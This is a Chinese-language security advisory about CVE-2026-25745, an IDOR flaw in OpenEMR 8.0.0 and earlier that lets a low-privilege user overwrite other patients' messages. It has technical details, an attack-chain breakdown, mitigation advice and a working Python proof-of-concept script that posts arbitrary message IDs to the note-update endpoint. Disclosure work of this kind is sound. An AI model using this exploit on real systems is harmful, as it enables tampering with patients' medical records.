IPBUF安全漏洞报告
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CVE-2026-25745 CVSS 6.5 中危

OpenEMR <= 8.0.0 IDOR漏洞可导致患者消息被非法篡改

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-25745
漏洞类型
IDOR(不安全的直接对象引用)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenEMR

相关标签

OpenEMRIDOR医疗系统电子健康记录权限绕过数据篡改CVE-2026-25745访问控制Web安全

漏洞概述

OpenEMR是一款免费开源的电子健康记录(EHR)和医疗实践管理应用程序,广泛应用于医疗机构进行患者信息管理和医疗流程自动化。该应用在版本8.0.0及以前存在一个严重的安全漏洞,漏洞位于消息/笔记更新功能端点。由于程序在处理更新请求时,仅根据消息ID进行操作,而未验证该消息是否属于当前登录用户所属的患者,或者用户是否具有编辑该患者笔记的权限,导致任何获得认证且拥有笔记权限的低权限用户,可以通过修改请求中的消息ID,非法访问和篡改其他患者的敏感医疗信息。此漏洞属于典型的IDOR(Insecure Direct Object Reference)类型安全缺陷,攻击者无需特殊权限即可利用,对患者隐私数据完整性造成严重威胁。

技术细节

漏洞根源在于OpenEMR的消息更新API端点(如PUT或POST方法)在处理用户请求时,直接使用客户端提供的消息ID进行数据库操作,而缺少必要的业务逻辑验证。具体流程如下:1) 攻击者首先使用合法账号登录系统,该账号只需具备基本的笔记权限;2) 系统正常获取当前患者A的消息列表;3) 攻击者通过API请求修改患者B的消息记录,方法是将请求中的message_id参数替换为患者B的消息ID;4) 服务器端未验证message_id与当前会话用户/患者的从属关系,直接执行更新操作;5) 患者B的消息内容被成功篡改。漏洞利用的关键在于API缺少对象级别的访问控制检查,攻击者通过猜测或枚举其他患者的消息ID即可实施攻击。此漏洞可能导致的危害包括:篡改患者病历信息、删除重要医疗记录、伪造医嘱内容等,对医疗安全构成严重威胁。

攻击链分析

STEP 1
信息收集
攻击者首先注册或获取一个具有笔记权限的OpenEMR低权限账号,同时收集目标患者的消息ID(可通过枚举或信息泄露获取)
STEP 2
认证登录
使用低权限账号登录OpenEMR系统,建立经过身份验证的会话
STEP 3
构造恶意请求
攻击者构造一个更新请求,将目标消息ID(不属于当前用户所属患者)作为参数,同时填充恶意内容
STEP 4
发送漏洞利用请求
通过PUT或POST方法向消息更新端点发送请求,服务器端因缺少对象所有权验证而直接处理请求
STEP 5
完成攻击
目标患者的消息记录被成功篡改,攻击者获得非法修改医疗数据的权限,可能导致医疗信息完整性破坏

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2026-25745 PoC - OpenEMR IDOR Vulnerability # Target: OpenEMR <= 8.0.0 # Vulnerability: Insecure Direct Object Reference in message/note update endpoint TARGET_URL = "http://target-openemr.local" # Replace with actual target LOGIN_URL = f"{TARGET_URL}/interface/main/main.php" MESSAGE_UPDATE_URL = f"{TARGET_URL}/interface/patient_file/summary/add_mailbox.php" # Authentication credentials USERNAME = "attacker_account" PASSWORD = "attacker_password" def login(session, username, password): """Authenticate to OpenEMR""" login_data = { "authToken": "", "authDomain": "", "username": username, "password": password, "redirect": "/interface/main/main.php", "auth": "standard" } response = session.post(LOGIN_URL, data=login_data) return response.status_code == 200 def exploit_idor(session, target_message_id, malicious_content): """ Exploit the IDOR vulnerability by updating another patient's message Args: session: Authenticated requests session target_message_id: ID of the target patient's message to modify malicious_content: New content to inject Returns: Response from the server """ # Malicious request - no validation of message ownership update_data = { "form_id": target_message_id, # Arbitrary message ID from other patient "form_note": malicious_content, "form_activity": "1", "mode": "save" } headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } response = session.post(MESSAGE_UPDATE_URL, data=update_data, headers=headers) return response def main(): session = requests.Session() # Step 1: Login with low-privilege account print("[*] Logging in to OpenEMR...") if not login(session, USERNAME, PASSWORD): print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Exploit IDOR - modify another patient's message # Target message ID can be enumerated or guessed target_msg_id = 12345 # Replace with actual target message ID injected_content = "MALICIOUS_MODIFIED_CONTENT" print(f"[*] Attempting to modify message ID: {target_msg_id}") response = exploit_idor(session, target_msg_id, injected_content) if response.status_code == 200: print("[+] IDOR exploit successful - message modified without ownership check") else: print(f"[-] Exploit failed with status: {response.status_code}") if __name__ == "__main__": main()

影响范围

OpenEMR <= 8.0.0

防御指南

临时缓解措施
如果无法立即升级,可通过以下措施临时缓解:1) 限制笔记功能的权限分配,仅授予必要人员;2) 在Web应用防火墙(WAF)层面添加请求特征检测规则;3) 监控异常的消息访问和修改模式;4) 定期审查系统日志,排查潜在的IDOR攻击行为。建议尽快升级到官方修复版本以根本解决此漏洞。

参考链接

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